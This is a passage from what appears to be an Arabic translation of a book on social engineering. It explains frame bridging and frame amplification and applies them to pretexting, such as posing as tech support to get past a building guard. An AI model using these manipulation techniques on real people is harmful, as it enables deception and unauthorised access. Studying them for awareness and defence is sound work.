‫أن اﻟﻣرﺷﺢ اﻟرﺋﺎﺳﻲ آﻧذاك أوﺑﺎﻣﺎ ﻗد ﺣﺿر ﻣدارس ﺟﻣﯾﻊ اﻟﻣﺳﻠﻣﯾن اﻟﺗﻲ ﻛﺎﻧت ﻣﻌروﻓﮫ ﺑﺗﻌﻠﯾﻣﮭﺎ ﻟﻸﺻول واﻟﺷﻛل اﻷﺳﺎﺳﻲ ﻟﻺﺳﻼم‪ .‬ﻋﻧدﻣﺎ‬
‫ﺻدر ھذا اﻟﺗﻘرﯾر اﻻﺧﺑﺎري ﻓﺎن اﻟﻌدﯾد ﺻدق اﻟﺧﺑر ﻋﻠﻰ اﻟﻔور‪ ،‬ﻟﻣﺎذا؟ ﻷﻧﮭﺎ ﺗﻧدرج ﻓﻲ إطﺎر واﻗﻌﮭم‪ ،‬وﯾﺑدو ذات ﻣﺻداﻗﯾﺔ‪ ،‬وأﻧﮫ ﺟﺎء ﻣن‬
‫ﻣﺻدر "ﻣوﺛوق‪".‬‬
‫‪ ،CNN‬ﻣﺻدر ﻣوﺛوق آﺧر ﻓﻲ اﻷﺧﺑﺎر‪ ،‬وﺗرﺳل ﻣﺣﻘﻘﯾن‪ ،‬ﻻﻛﺗﺷﺎف إن ﻛﺎﻧت اﻟﻘﺻﺔ ﻛﺎذﺑﺔ‪ ،‬وذﻛر اﻟﻧﺗﺎﺋﺞ اﻟﺗﻲ ﺗوﺻﻠت إﻟﯾﮭﺎ‪.‬‬
‫ھذا ھو ﻣﺛﺎل ﺟﯾد ﻋﻠﻰ ﺗﻐﯾﯾر إطﺎرات اﻟﻧﺎس ﻓﻲ ﻣﺳﺄﻟﺔ اﺳﺗﺧدام ﻣﺻدر ﻣوﺛوق ﺟدا ﻟوﺳﺎﺋل اﻹﻋﻼم "اﻟﺣﻘﯾﻘﺔ" ‪-‬اﻷﺧﺑﺎر‪ .‬اﻟﻧﺎس اﻟذﯾن ﯾرﯾدون‬
‫أن ﯾﺻدﻗوا أن أوﺑﺎﻣﺎ ﻛﺎن ﻣن أﺻل ﻣﺳﻠم ﺗﻣﺎﺷوا ﻣﻊ ﺗﻠك اﻟﻘﺻﺔ‪ .‬ﻋﻧدﻣﺎ اﻛﺗﺷﻔت اﻷﺑﺣﺎث أن ھذه اﻟﻘﺻﺔ ﻛﺎذﺑﺔ‪ ،‬ﺗم ﺗﻐﯾﯾر ﺗﻔﻛﯾر ﻛﺛﯾر ﻣن اﻟﻧﺎس‬
‫ﻣرة أﺧرى‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪929‬‬

‫"دورات اﻻﺣﺗﺟﺎج‪ .‬اﻟﻧﻘطﺔ اﻟﺗﻲ ﺗﺑرز اﻹطﺎر ﻋﻠﻰ اﻟﺟدول اﻟزﻣﻧﻲ ﻟﻠﻌﺻر اﻟﺣﺎﻟﻲ واﻟﻣﺷﺎﻏل اﻟﻘﺎﺋﻣﺔ ﻣﻊ اﻟﺗﻐﯾر اﻻﺟﺗﻣﺎﻋﻲ"‪:‬‬
‫‪(Cycles of protest; the point at which the frame emerges on the timeline of the current era and existing‬‬
‫)‪preoccupations with social change‬‬
‫ﻣﺎ ﯾﺣدث ﻓﻲ اﻟﻌﺎﻟم ﯾﻣﻛن أن ﯾؤﺛر ﻋﻠﻰ اﻹطﺎر اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﺑذاﻛرﺗﻲ ﻣﻧذ ﺑﺿﻊ ﺳﻧوات؛ إذا ﺗم طرح ﻓﻛرة ﻓﺣص اﻟﺟﺳم ﺑﺎﻟﻛﺎﻣل ﺑﺎﻷﺷﻌﺔ‬
‫اﻟﺳﯾﻧﯾﺔ ﻟﻠﺷرﻛﺎت ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة أو اﻟﺛﻘﺎﻓﺎت اﻟﻐرﺑﯾﺔ اﻷﺧرى‪ ،‬ﻟرﻣﯾت ھذه اﻟﻔﻛرة اﻟﻰ اﻟرﯾﺢ‪/‬ﺑﻌرض اﻟﺣﺎﺋط )أي ﻟن ﯾﻧظر اﻟﯾﮭﺎ(‪.‬‬
‫ﻧﺷطﺎء اﻟﺧﺻوﺻﯾﺔ ﺗﺧوض داﺋﻣﺎ ﻣﻌرﻛﺔ ﺿد اﻟﺗﺻور واﻻﻣﺗﻼك‪ ،‬ﺑﺑﺳﺎطﺔ ﻋن طرﯾﻖ اﺳﺗﺧدام ﺗﺻور ﺷﺧص ﻣﺎ ﻗﺎدرا ً ﻋﻠﻰ رؤﯾﺔ اﻟﻣﻧﺎطﻖ‬
‫اﻟﺧﺎﺻﺔ ﺑك ورﺑﻣﺎ ﺗوﻓﯾر ﺻورة ﻟﻠﺳﺧرﯾﺔ أو اﻟﺗﺣرش اﻟﺟﻧﺳﻲ ﻟك‪ .‬ﻗد ﺗﻔوق ھذه اﻟﺣﺟﺔ ﺟﮭود ﻣﺑﯾﻌﺎت ﻣﺑدﻋﻲ آﻻت اﻟﻣراﻗﺑﺔ‪/‬اﻟﺗﺟﺳس‪ .‬وﻣﻊ‬
‫ذﻟك‪ ،‬ﺑﻌد ھﺟﻣﺎت أﻣرﯾﻛﺎ ﻓﻲ ‪ 11‬ﺳﺑﺗﻣﺑر وارﺗﻔﺎع ﻻﺣﻖ ﻟﻠﻧﺷﺎط اﻹرھﺎﺑﻲ‪ ،‬ﺟري ﺗرﻛﯾب ھذه اﻵﻻت ﻓﻲ اﻟﻣطﺎرات ﻓﻲ ﺟﻣﯾﻊ أﻧﺣﺎء اﻟﻌﺎﻟم ﻋﻠﻰ‬
‫اﻟرﻏم ﻣن ﺻرﺧﺎت اﻟﻧﺷطﺎء‪ ،‬ﺣﺗﻰ اﻟﻣﺟﺎدﻟﺔ ﻣﻊ ﻗوة ﻗواﻧﯾن اﻟﻣواد اﻹﺑﺎﺣﯾﺔ ﻋﻠﻰ ﺟﺎﻧﺑﮭم‪.‬‬
‫ﻟﻣﺎذا؟ ﻷﻧﮫ ﺗم ﺗﻐﯾﯾر اﻹطﺎر اﻻﺟﺗﻣﺎﻋﻲ ﻟﻛﯾﻔﯾﺔ اﻟﺑﻘﺎء آﻣﻧﺔ‪ ،‬واﻟﺳﻣﺎح ﻟﺟﯾل ﺟدﯾد ﻣن اﻟﻘرارات ﺑﺎﻟدﺧول‪.‬‬
‫ﺳﻧو وﺑﻧﻔورد اﻗﺗرح أﻧﮫ ﻋﻧدﻣﺎ ﯾﺗم ﺑﻧﺎء اﻷطر اﻟﻣﻧﺎﺳﺑﺔ ﻛﻣﺎ ھو ﻣوﺿﺢ ﻓﻲ ھذه اﻟﻧﻘﺎط اﻷرﺑﻊ‪ ،‬ﯾﻣﻛن ﺗﺣﻘﯾﻖ ﺗﻐﯾﯾرات واﺳﻌﺔ ﻓﻲ اﻟﻣﺟﺗﻣﻊ ﻣﺛل‬
‫ﺗﻠك اﻟﺗداﺑﯾر اﻟﻼزﻣﺔ ﻟﻠﺣرﻛﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن ﺧﻼل ﻣواءﻣﺔ اﻹطﺎر‪ .‬ﺗرﻛز دراﺳﺎﺗﮭم ﻋﻠﻰ اﻟﻣﺟﺗﻣﻊ ﻛﻛل‪ ،‬وﻟﻛن ھذه اﻟﻣﺑﺎدئ ﻧﻔﺳﮭﺎ ھﻲ ﻓﻌﺎﻟﺔ ﻋﻧد‬
‫اﻟﺗﻌﺎﻣل ﻋﻠﻰ ﻧطﺎق أﺻﻐر أو ﺣﺗﻰ واﺣد ﻟواﺣد‪.‬‬
‫اﻟﻣﻧﺎﻗﺷﺔ اﻟﺳﺎﺑﻘﺔ ھﻲ ﻣﺟرد ﻋﻣﻠﯾﺔ ﻟﻣواءﻣﺔ‪/‬ﻣﺣﺎذاة اﻹطﺎر؛ ﻓﻲ اﻟواﻗﻊ ھﻧﺎك أرﺑﻌﺔ أﻧواع ﻣﺧﺗﻠﻔﺔ ﻣن اﻟﻣﺣﺎذاة ﯾﻣﻛن أن ﺗﺣدث ﺑﻌد أن ﯾﺗم اﺳﺗﯾﻔﺎء‬
‫ھذه اﻟﺷروط اﻷرﺑﻌﺔ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻟﻌدﯾد ﻣن ھذه اﻟﺟواﻧب ﺗﻛون ﻣوﺟﮭﺔ ﻧﺣو ﺗﺄطﯾر اﻟﺟﻣﺎﻋﺎت ﻛﻛل‪ ،‬ﻓﺄن اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺳوف ﺗﻧﺎﻗش‬
‫ﻣﺣﺎذاة‪/‬ﻣواءﻣﺔ اﻟﺗﺄطﯾر اﻷرﺑﻊ ھذه ﻋﻠﻰ اﻟﻣﺳﺗوى اﻟﺷﺧﺻﻲ اﻟﺗﻲ ﺳوف ﺗظﮭر ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ ﻋﻠﻰ ﻧطﺎق أﺻﻐر ﻋﻠﻰ ﺣد ﺳواء‬
‫ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ و‪/‬أو ﻓﻘط ﻛﺷﺧص ﯾرﻏب ﻓﻲ ﻣﺣﺎذاة‪/‬ﻣواءﻣﺔ اﻹطﺎرات ﻣﻊ اﻵﺧرﯾن‪ .‬ﺗﺧﯾل ﻣﺣﺎوﻟﺔ اﻟﺗوﻓﯾﻖ ﺑﯾن ھدﻓك ﻣن دﺧول اﻟﻣﺑﻧﻰ‬
‫ﻣﻊ إطﺎر ﺣﺎرس اﻷﻣن اﻟذي ﯾﮭدف اﻟﻰ ﺗوﻗﯾﻔك‪ .‬ﺟﻠب اﻹطﺎر اﻟﺧﺎص ﺑﮫ ﻟﻣواءﻣﺔ‪/‬ﻣﺣﺎذاة اﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك ﯾﻣﻛﻧﮭﺎ أن ﺗﺿﻣن اﻟﻧﺟﺎح‪.‬‬
‫ﺷﻲء واﺣد ﯾﺟب أن ﻧﺗذﻛره ﺣول اﻹطﺎرات ھو أﻧﮭﺎ ﻟن ﺗﺷﯾد أﺑدا ﻣن ﻧﻘطﺔ اﻟﺻﻔر‪ .‬ﯾﺗم رﺳم اﻷطر داﺋﻣﺎ ﻋﻠﻰ اﻟرﻣوز اﻟﺛﻘﺎﻓﯾﺔ اﻟﻘﺎﺋﻣﺔ ﺑﺎﻟﻔﻌل‬
‫واﻟﺗﻲ ﺗﻧطوي ﻋﻠﻰ ﺟوھر اﻟﻣﻌﺗﻘدات واﻟﺧﺑرات ﻟﻠﺷﺧص‪ .‬وھذا ﻣﻊ اﻟﻌﻠم ﺗؤﺛر ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﺗﺄطﯾر‪.‬‬
‫‪) Frame Bridging‬ﺗﺠﺴﯿﺮ اﻻطﺎر(‬
‫ﻣرﻛز ﻛﺎﺛﻲ ﻣﺎرش ﻟﻺﺣﺻﺎء واﻟدراﺳﺎت اﻻﺳﺗﻘﺻﺎﺋﯾﺔ ﻟﻠﻣﻌﻠوﻣﺎت ﺗﻌرف ‪ Frame Bridging‬ﻋﻠﻰ أﻧﮫ اﻟرﺑط ﺑﯾن اﺛﻧﯾن أو أﻛﺛر ﻣن‬
‫اﻹطﺎرات اﻟﻣﺗطﺎﺑﻘﺔ ﻓﻛرﯾﺎ‪/‬أﯾدوﻟوﺟﯾﺎ وﻟﻛن ﻏﯾر ﻣﺗراﺑطﺔ ھﯾﻛﻠﯾﺎ ﺑﺷﺄن ﻣوﺿوع ﻣﻌﯾن‪.‬‬
‫اﻟﺗﺟﺳﯾر )‪ (Bridging‬ﻟﯾس ﺧداع اﻟﻧﺎس ﺑﺎﻻﻋﺗﻘﺎد‪/‬اﻟﺗﺻدﯾﻖ ﺑﺎﻹطﺎر اﻟﺧﺎص ﺑك ﺑﻘدر ﺗﻔﮭﻣك ﻹطﺎرھم ﻋﻣﯾﻘﺎ ﺣﺗﻰ ﺗﺟد ھﻣزة اﻟوﺻل‪ .‬ﯾﻣﻛﻧك‬
‫اﺳﺗﺧدام ذﻟك ﻟرﺑط اﻟﺻﻠﺔ ﻹﺣﺿﺎر اﻟﮭدف إﻟﻰ اﻹطﺎر اﻟﺧﺎص ﺑك‪.‬‬
‫اﻟوﺿﻊ ﻣن اﻟﻣﻣﻛن أن ﯾﻛون اﻟذي ﺗرﯾد ﻓﯾﮫ اﻟوﺻول إﻟﻰ ﻣﻧطﻘﺔ‪ ،‬ﻣﺑﻧﻰ‪ ،‬أو ﻗطﻌﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت‪ .‬اﻹطﺎر اﻟﺧﺎص ﺑك ھو أﻧك ﺗرﯾد أن ﯾﺣدث‬
‫ذﻟك‪ .‬إطﺎر اﻟﺷﺧص اﻟذي ﺗﻘﺗرب ﻟﯾس ﺑﺎﻟﺿرورة أن ﯾوﻗﻔك‪ .‬اﻧﮫ ﻗد ﻻ ﯾﻌرف ﺣﺗﻰ ﻣﺎ أﻧت ذاھب ﻟﻣﺣﺎوﻟﺔ اﻟﻘﯾﺎم ﺑﮫ‪ .‬إذا ﺣﺎوﻟت اﻻﻗﺗراب ﻣن‬
‫اﻟوﺿﻊ اﻟذي ﻓﯾﮫ اﻹطﺎر ھو ﻗﯾﺎﻣك ﺑﺎﻟﺗﻧﺑﮫ ﻟﮫ ﻋن ﻣﺷﻛﻠﺔ‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ﻓﺎﻧﮫ ﯾﻘوم ﺑﺈﻏﻼق ﻓرﺻك‪.‬‬
‫ﻣن ﺧﻼل ﻓﮭم وظﯾﻔﺔ اﻟﮭدف‪ ،‬دور‪ ،‬واﻟﻧظرة اﻟﻌﻘﻠﯾﺔ ﻓﺎﻧﮫ ﯾﻣﻛﻧك ﻓﮭم إطﺎر اﻟﻌﻘل ﻟﮫ ورﺑﻣﺎ ﺗﺟد اﻟوﺻﻠﺔ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺟﻌل اﻧﺗﻘﺎﻟﮫ إﻟﻰ‬
‫اﻹطﺎر اﻟﺧﺎص ﺑك أﺳﮭل ﺑﻛﺛﯾر‪.‬‬
‫ﻣﺎ ھو اﻟذرﯾﻌﺔ )‪(Pretext‬ﻟدﯾك؟ ﻛﯾف ﯾﻛون اﻟﺷﺧص اﻟذي ﻋﻠﻰ وﺷك اﻻﻗﺗراب ﻣﻧﮫ ﯾﻌﺎﻣل اﻟﺷﺧﺻﯾﺔ اﻟﻘﺎدﻣﺔ ﻣن اﻟذرﯾﻌﺔ اﻟﺧﺎﺻﺔ ﺑك؟‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺟﯾد ﯾﺟب أن ﯾﻔﮭم ھذا ﻟﯾﻛون ﻧﺎﺟﺣﺎ‪" .‬ﺣﺎرس اﻟﺑواﺑﺔ" ﺳوف ﯾﻌﺎﻣل رﺟل اﻟﻣﺑﯾﻌﺎت ﺑﺷﻛل ﻣﺧﺗﻠف ﻋن رﺟل ﺗﺳﻠﯾم‬
‫اﻟﺻودا‪ .‬ﻓﮭم إطﺎر اﻟﮭدف ﯾﻌﻧﻲ ﻣﻌرﻓﺔ ﻛﯾف اﻧﮫ ﺳوف ﯾﻌﺎﻣﻠك وﻟﯾس ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﻟﻛن ﻛذرﯾﻌﺔ‪.‬‬
‫أﻛﺛر ﻣﺛﺎل ﺷﺧﺻﻲ ﻗد ﺗﻔﻛر ﻓﯾﮫ ﻛﯾف ﺗرﯾد ﻣن اﻵﺧرﯾن أن ﯾروك‪ ،‬رﺑﻣﺎ راﺋﻊ‪" ،‬ﻣﻊ"‪ ،‬ذﻛﻲ‪ ،‬أو واﺛﻖ‪ .‬أﺳﺗﺎذ ﯾرﯾد أن ﯾﺑدو ذﻛﯾﺎ‪ .‬اﻟﻣدﯾر ﯾرﯾد أن‬
‫ﯾﺑدو ﻣﺗﺣﻛﻣﺎ‪ .‬اﻟرﯾﺎﺿﻲ ﯾرﯾد أن ﯾﺑدو ھﺎدﺋﺎ وﻗوﯾﺎ‪ .‬اﻟﻣﻣﺛل اﻟﻛوﻣﯾدي ﯾرﯾد اﻟﺟﻣﮭور أن ﯾروه ﻣﺿﺣك‪ .‬ﻛل ھذه اﻷطر أن اﻟﺷﺧص ﯾرﯾد اﻵﺧرﯾن‬
‫أن ﯾﻛون ﻓﻲ ﻣواءﻣﺔ ﻣﻌﮫ‬
‫ﻓﻲ ﺣﺎﻟﺔ اﻟﻣﻣﺛل اﻟﻛوﻣﯾدي‪ ،‬ﻣﺎذا ﻟو ﻛﺎن ھﻧﺎك ﻣﻘﺎطﻌون‪/‬ﻣﺗﺿﺎﯾﻘون )‪ ،(heckler‬اﻟﺷﺧص اﻟذي ﻻ ﯾرى ﻛم ھو راﺋﻊ‪ ،‬ﻣﺿﺣك‪ ،‬ذﻛﻲ‪ ،‬أو‬
‫واﺛﻖ؟ ﺑﺳﺑب أن إطﺎر اﻟﻣﻘﺎطﻌون‪/‬اﻟﻣﺗﺿﺎﯾﻘون )‪ (heckler‬ﻏﺎﺿﺑون‪ ،‬ﻟﯾس ﺳﻌداء‪ ،‬أو ﻓﻘط ﻟﯾس ﻣﮭﺗﻣﺎ؟ ﻓﺈذا اﺳﺗﻣر اﻟﻛوﻣﯾدي ﻓﻲ ھذا اﻹطﺎر‬
‫ﻓﺎﻧﮫ ﻗد ﯾﻐﯾر ﺑﻌض اﻟﻧﺎس ﻣن ﺣوﻟﮫ‪ ،‬وﻟﻛن ﺣﺗﻰ ﯾﺗﻌﻣﻖ ﻋﻣﯾﻘﺎ وﻣﺣﺎوﻟﺔ ﻓﮭم ﻣن أﯾن ﯾﺄﺗﻲ ھذا اﻟﺷﺧص ﻓﺄﻧﮫ ﻟن ﯾﻛون ﻗﺎدرا ﻋﻠﻰ ﻣﺣﺎذاة‬
‫اﻹطﺎرﯾن وﺗﻘدﯾم ذﻟك اﻟﺷﺧص ﻓﻲ اﻹطﺎر اﻟﺧﺎص ﺑﮫ‪ .‬اﻟﻣﻣﺛل اﻟﻛوﻣﯾدي اﻟذي ﯾﺳﺗطﯾﻊ اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﻣﻘﺎطﻊ‪/‬اﻟﻣﺗﺿﺎﯾﻖ )‪ ،(heckler‬ﻓﺎﻧﮫ ﻗﺎدر‬
‫ﻋﻠﻰ وﺿﻊ ﻣﺧﺎوﻓﮫ ﻣن اﻹطﺎر اﻟﺧﺎص ﺑﮫ ﺟﺎﻧﺑﺎ‪ ،‬واﺳﺗﺧدام اﻟﻣﻘﺎطﻊ ﻛﻣﯾزة ﻟﮫ‪.‬‬
‫ﺗﻘﻧﯾﺔ ﻣواﺋﻣﺔ اﻹطﺎر ذات اﻟﻧوع )‪ (Bridge‬ﯾﻣﻛن أن ﯾﻛون واﺣدا ﻣن اﻟﻘوى اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬وﻟﻛن ﯾﻧطوي ﻋﻠﻰ ﺑﻌض‬
‫اﻹﻋداد ﻟﻠﺗﺄﻛد ﻣن إﻧك ﻋﻠﻰ ﺣﻖ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪930‬‬

‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن اﻻﺳﺗﻔﺎدة ﻣن ھذا اﻟﺷﻛل اﻟﻣﻌﯾن ﻣن أﺷﻛﺎل ﻣﺣﺎذاة اﻹطﺎر ﻣن ﺧﻼل ﻣﺳﺎﻋدة ﺳد اﻟﮭدف ﻟﻠﻔﺟوة ﻣﻣﺎ ﯾروﻧﮫ وﻣﻣﺎ‬
‫ﯾﺣﺗﺎﺟون إﻟﻰ اﻻﻋﺗﻘﺎد ﻣن ﺧﻼل اﻟذرﯾﻌﺔ اﻟﻣﻧﺎﺳﺑﺔ‪ .‬ﻣرة أﺧرى‪ ،‬أذﻛر اﻟﻣﺛﺎل ﺑﻣﺣﺎوﻟﺔ اﻟوﺻول إﻟﻰ اﻟﻣﺑﻧﻰ ﺑﺎﻋﺗﺑﺎر ﻣﻧدوب اﻟدﻋم اﻟﻔﻧﻲ‪ .‬اﻟﻣﻠﺑس‬
‫اﻟﺧﺎص ﺑك‪ ،‬اﻷدوات‪ ،‬واﻟﻠﻐﺔ ﯾﺟب أن ﺗﺗطﺎﺑﻖ اﻹطﺎر اﻟذي ﯾﺗوﻗﻌﮫ اﻟﮭدف ﻣن ﻣﻧدوب اﻟدﻋم‪ .‬إذا ﻓﻌﻠوا ذﻟك‪ ،‬ﯾﺗم إﻧﺷﺎء اﻟﺟﺳر وﯾﺣدث اﻟﻣواﺋﻣﺔ‪.‬‬
‫‪) Frame Amplification‬ﺗﻀﺨﯿﻢ‪/‬ﺗﻮﺳﯿﻊ اﻹطﺎر(‬
‫ﺗﺿﺧﯾم‪/‬ﺗوﺳﯾﻊ اﻹطﺎر )‪ ،(Frame Amplification‬وﻓﻘﺎ ﻟﺳﻧو‪ ،‬ﯾﺷﯾر إﻟﻰ "ﺗوﺿﯾﺢ وﺗﻧﺷﯾط إطﺎر ﺗﻔﺳﯾري اﻟذي ﯾﺣﻣل ﻋﻠﻰ ﻗﺿﯾﺔ ﻣﻌﯾﻧﺔ‪،‬‬
‫ﻣﺷﻛﻠﺔ‪ ،‬أو ﻣﺟﻣوﻋﺔ ﻣن اﻷﺣداث‪ ".‬أو ﺑﻌﺑﺎرة أﺧرى‪ ،‬إﻧك ﺳوف ﺗﻘوم ﺑﺗﺿﺧﯾم‪ ،‬أو اﻟﺗرﻛﯾز ﻋﻠﻰ‪ ،‬اﻟﻘﯾم أو ﻣﻌﺗﻘدات اﻟﮭدف‪ .‬ﻣن ﺧﻼل اﻟﺗرﻛﯾز‬
‫ﻋﻠﻰ ھذه اﻟﻘﯾم ﯾﻣﻛﻧك اﻟﻌﺛور ﻋﻠﻰ اﻟﻣﻧطﻘﺔ اﻟﺗﻲ ﺳوف ﺗﻧﺳﻖ اﻹطﺎرﯾن ﻟدﯾك‪ ،‬أو ﻋﻠﻰ اﻷﻗل دﻓﻊ اﻟﮭدف ﻷﻋﺗﻘد أن ھﻧﺎك ﺗواﻓﻖ ﻓﻲ اﻹطﺎر‪.‬‬
‫ھذا اﻟﻧوع ﻣن اﻟﻣﺣﺎذاة‪/‬اﻟﻣواءﻣﺔ ﻗد وﺻف ﻋﻠﻰ أﻧﮫ أﻛﺛر اﻻﻧواع اﻷرﺑﻌﺔ أﺳﺎﺳﯾﺎ ﻷﻧﮫ أﻛﺛرھم ﻓﻲ طرﯾﻘﺔ اﻟوﻗﺎﯾﺔ )‪.(maintenance method‬‬
‫أﻧﮫ ﯾﻧطوي ﻋﻠﻰ ﺗرﻛﯾز اﻻﻧﺗﺑﺎه‪ ،‬ﺗﺿﺧﯾم‪ ،‬أو ﺗرﻗﯾم ﻟﻠﺣدث ﺑﺄﻧﮫ أﻛﺛر أھﻣﯾﺔ ﻣن ﻏﯾرھﺎ‪ ،‬واﻟذي ﯾﺳﻣﺢ ﻟﮭذا اﻟﺣدث أن ﯾﻛون ﻣرﺗﺑطﺎ ﻣﻊ أﺣداث‬
‫أﺧرى ﺑﺳﮭوﻟﺔ أﻛﺑر‪.‬‬
‫ﻣﺛﺎل ﻋﻠﻰ إطﺎر اﻟﺗﺿﺧﯾم )‪ (Frame Amplification‬ﯾﻣﻛﻧﮫ اﻟﻛﺷف إذا ﻓﻌﻠﻧﺎ اﻟﻣزﯾد ﻣن اﻟﺑﺣوث ﻓﻲ اﻟﻣﺛﺎل اﻟﺳﺎﺑﻖ ﻋن اﻟﻣﺎﺳﺣﺎت اﻟﺿوﺋﯾﺔ‬
‫ﻟﻛﺎﻣل اﻟﺟﺳم ﺑﺎﻷﺷﻌﺔ اﻟﺳﯾﻧﯾﺔ‪ .‬ﺗﺑﺎع اﻟﻣﺎﺳﺣﺎت اﻟﺿوﺋﯾﺔ اﻵن ﻛرادﻋﮫ ﻟﻺرھﺎﺑﯾﯾن‪ .‬اﻹطﺎر اﻟذي ﻛﺎﻧت ﺗﺑﺎع ﺗﺣﺗﮫ ھو ﻛﯾف ﺗﺳﺑب اﻟﻧﺷﺎط‬
‫اﻹرھﺎﺑﻲ اﻷﺧﯾر اﻟﺣﺎﺟﺔ ﻟﻣﻧﺗﺟﺎت ﻣﺛل ھذه‪ ،‬وھﻧﺎ ھم ﻟﺗﻠﺑﯾﺔ ھذه اﻟﺣﺎﺟﺔ‪ .‬ﺑﻌد اﻟﺑﺣث ﻓﻲ ھذه اﻷﺟﮭزة ﯾظﮭر أﻧﮭم ﻛﺎﻧوا ﯾﺟروا ﺑﻧﺎؤھﺎ‪،‬‬
‫وﺗﺳوﯾﻘﮭﺎ‪ ،‬ورﻓﺿت ﻗﺑل ﻓﺗرة طوﯾﻠﺔ ﻣن ھﺟﻣﺎت ‪ 11/9‬وﻏﯾرھﺎ ﻣن اﻟﮭﺟﻣﺎت اﻷﺧﯾرة‪.‬‬
‫ﺑﺎﺳﺗﺧدام أﺣداث ‪ 11/9‬ﺑﺟﺎﻧب اﻟﺧوف ﻣن اﻟطﯾران ﺑﻛﺛﯾر ﻣن اﻟﻧﺎس ﺑﺳﺑب ﺗﻠك اﻟﮭﺟﻣﺎت ﺗﻣﻛﻧت ﺷرﻛﺎت اﻟﻣﺎﺳﺢ اﻟﺿوﺋﻲ ﻟرﺑط إطﺎرھﺎ ﻣﻊ‬
‫إطﺎر اﻟﺧوف ﻟﻛﺛﯾر ﻣن اﻟﻧﺎس‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ اﻟﺣﺻول ﻋﻠﻰ دﻋم ﻟﺗﻧﻔﯾذ ھذه اﻷﺟﮭزة ﻓﻲ اﻟﻣطﺎرات ﻓﻲ ﺟﻣﯾﻊ أﻧﺣﺎء اﻟﻌﺎﻟم‪.‬‬
‫واﺣدة ﻣن ﻧﻘﺎط اﻟﻘوة اﻷﺧرى ﻓﻲ إطﺎر اﻟﺗﺿﺧﯾم ھو أﻧﮫ ﯾﻣﻛن اﺳﺗﺧداﻣﮫ ﺑﻧﺟﺎح ﻟطﻣس اﻹطﺎر وﺗﺳﺑب ﻟﻸﺷﺧﺎص اﻟذﯾن ﻟدﯾﮭم اﻋﺗﻘﺎد أن ﯾﻧﺄوا‬
‫ﺑﺄﻧﻔﺳﮭم ﻋن ھذا اﻻﻋﺗﻘﺎد‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟﻌدﯾد ﻣن اﻟذﯾن ﯾﻌﺗﻘدون ﺑﺎﻟﺧﺻوﺻﯾﺔ وﺣرﯾﺔ اﺧﺗﯾﺎر ﻛﯾﻔﯾﺔ ﯾﺗم ﻓﺣﺻﮭم ﺗم إﺣﺿﺎرھم إﻟﻰ إطﺎر‬
‫ﻣﺧﺗﻠف ﻣن اﻷﺷﻌﺔ اﻟﺳﯾﻧﯾﺔ‪.‬‬
‫ﻣﺻﻧﻌﯾن اﻟﻣﺎﺳﺢ اﻟﺿوﺋﻲ ﻗﺎﻣوا ﺑﺎﻟﺗرﻛﯾز ﻋﻠﻰ ﺟواﻧب ﻣﻌﯾﻧﺔ ﻣن طرق اﻟﻔﺣص اﻷﺧرى اﻟﺗﻲ ﻛﺎﻧت ﻏﯾر آﻣﻧﺔ أو ﻏﯾر ﻣﻛﺗﻣﻠﺔ‪ ،‬وإﺛﺑﺎت وﺟﮭﺔ‬
‫ﻧظرھم ﺣﯾث أﻧﮭﺎ ﺗﺑرز ﻗﺻص ﻣﺛل "اﻟﻣﻔﺟر اﻟﻣوﺟود ﻓﻲ اﻟﻣﻼﺑس اﻟداﺧﻠﯾﺔ"‪ .‬ھذه اﻟﺗﻛﺗﯾﻛﺎت ﺗﺿﺧم إطﺎرھﺎ اﻟﺟدﯾدة واﻟﺗﻲ ھﻲ اﻟﻣﺎﺳﺣﺎت‬
‫اﻟﺿوﺋﯾﺔ ﻟﻸﺷﻌﺔ اﻟﺳﯾﻧﯾﺔ ھﻲ أﻓﺿل وأﻛﺛر أﻣﺎﻧﺎ‪ ،‬وذﻟك ﺑﺎﺳﺗﺧدام ﻧطﺎق واﺳﻊ ﻣن اﻟﻣﻌﺗﻘدات ﺑﺷﺄن ﻋدم وﺟود أﻣن ﻓﻲ اﻟطرق اﻷﺧرى‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن اﻻﺳﺗﻔﺎدة ﻣن ﺗﻘﻧﯾﺔ اﻟﻣﺣﺎذاة‪/‬اﻟﻣواﺋﻣﺔ ھذه ﺑﻌدة طرق ﻣﺧﺗﻠﻔﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻗد ﯾرﻏب ﻓﻲ‬
